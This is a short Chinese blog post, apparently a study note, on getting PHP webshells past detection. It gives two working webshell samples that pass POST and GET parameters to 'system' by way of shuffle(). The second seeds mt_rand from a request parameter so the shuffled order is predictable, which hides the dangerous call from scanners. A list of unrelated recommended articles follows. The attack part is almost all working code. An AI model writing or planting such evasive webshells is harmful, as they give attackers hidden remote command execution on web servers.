记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
笨鸟先飞的橘猫15 分钟前
数据结构学习——跳表
数据结构·python·学习
nashane40 分钟前
HarmonyOS 6学习:位置权限已开启却仍报错?深度解析与实战解决方案
学习·华为·harmonyos·harmonyos 5
北风toto1 小时前
深入解析JWT Token生成原理与安全加密技术详解
算法·安全·哈希算法
暖阳之下1 小时前
学习周报四十一
学习
Y学院1 小时前
第一章 网络安全认知觉醒:从“事不关己”到“人人有责” 第一节 你以为的安全,都是致命的错觉
安全·web安全
一名优秀的码农1 小时前
vulhub系列-69-Keyring(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Y学院2 小时前
当数字世界不再安全:2026,我们正站在网络安全的悬崖边
人工智能·安全·web安全
阳光普照世界和平2 小时前
2026软件安全趋势解析:攻防迭代下,企业该如何破局?
网络·安全
青衫码上行2 小时前
【从零开始学习JVM】栈中存的是指针还是对象 + 堆分为哪几部分
java·jvm·学习·面试
恋恋风尘hhh2 小时前
Web 前端安全机制分析:以 Webpack 打包混淆为例
前端·安全·webpack